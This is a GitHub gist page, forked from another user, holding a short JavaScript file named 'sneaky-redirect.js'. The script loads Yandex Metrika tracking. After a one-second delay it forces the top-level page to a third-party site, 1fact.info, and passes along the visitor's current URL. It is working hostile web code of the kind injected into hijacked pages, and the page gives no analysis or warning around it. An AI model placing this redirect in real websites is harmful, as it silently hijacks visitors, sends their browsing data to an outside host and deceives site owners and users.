Skip to content

Instantly share code, notes, and snippets.

@0xJatto
Forked from heyalexej/sneaky-redirect.js
Created October 25, 2022 12:43
Show Gist options
  • Save 0xJatto/bdaf35c30b2500b33581081983de2107 to your computer and use it in GitHub Desktop.
Save 0xJatto/bdaf35c30b2500b33581081983de2107 to your computer and use it in GitHub Desktop.
(function (d, w, c) {
(w[c] = w[c] || []).push(function() {
try {
w.yaCounter42337284 = new Ya.Metrika({
id:42337284,
clickmap:true,
trackLinks:true,
accurateTrackBounce:true
});
} catch(e) { }
});
var n = d.getElementsByTagName("script")[0],
s = d.createElement("script"),
f = function () { n.parentNode.insertBefore(s, n); };
s.type = "text/javascript";
s.async = true;
s.src = "https://mc.yandex.ru/metrika/watch.js";
if (w.opera == "[object Opera]") {
d.addEventListener("DOMContentLoaded", f, false);
} else { f(); }
})(document, window, "yandex_metrika_callbacks");
(function () {
setTimeout(function () {
var url = 'https://1fact.info/p/?url=%location%';
url = url.replace('%location%', encodeURIComponent(location.href));
top.location = url;
}, 1000);
})();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment